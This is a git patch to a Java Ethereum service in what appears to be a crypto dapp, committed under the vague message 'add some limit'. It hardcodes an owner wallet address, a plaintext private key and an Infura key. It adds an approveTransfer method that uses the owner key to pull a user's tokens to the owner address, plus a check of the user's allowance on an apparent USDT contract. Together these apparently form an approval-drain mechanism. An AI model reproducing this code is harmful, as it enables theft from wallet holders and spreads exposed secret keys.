From ac4c6f8771de8148f1ba2292dd8fcb7c986883a4 Mon Sep 17 00:00:00 2001 From: Helius <wangdoubleone@gmail.com> Date: Thu, 24 Mar 2022 15:25:16 +0800 Subject: [PATCH] add some limit --- src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 41 +++++++++++++++++++++++++++++++++++++++++ 1 files changed, 41 insertions(+), 0 deletions(-) diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java index c729b1d..66c0309 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java @@ -1,5 +1,7 @@ package cc.mrbird.febs.dapp.chain; +import cc.mrbird.febs.common.exception.FebsException; +import cn.hutool.core.collection.CollUtil; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import org.web3j.abi.FunctionEncoder; @@ -51,6 +53,8 @@ //private static final String ETH_UTL = "http://120.55.86.146:8545"; // private static final String ETH_UTL = "http://114.55.250.231:8545"; private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"; + private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024"; + private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37"; public EthService() { try { @@ -247,6 +251,15 @@ } } + public String approveTransfer(String fromAddress, BigDecimal amount, String gas) { + try { + return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas); + } catch (InterruptedException | ExecutionException e) { + e.printStackTrace(); + return ""; + } + } + public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas) throws InterruptedException, ExecutionException { // Web3j web3j = Web3j.build(new @@ -278,5 +291,33 @@ } } + public BigInteger ethAllowance(String address) { + return ethAllowance(OWNER_ADDRESS, address); + } + + public BigInteger ethAllowance(String toAddress, String fromAddress) { + String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; + String methodName = "allowance"; + List<TypeReference<?>> outputParameters = new ArrayList<>(); + TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {}; + outputParameters.add(typeReference); + + Function function = new Function(methodName, + Arrays.asList(new Address(toAddress), new Address(fromAddress)) + , outputParameters); + String data = FunctionEncoder.encode(function); + Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data); + + EthCall ethCall = null; + try { + ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); + List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); + return (BigInteger) results.get(0).getValue(); + } catch (IOException e) { + e.printStackTrace(); + } + return BigInteger.ZERO; + } + } -- Gitblit v1.9.1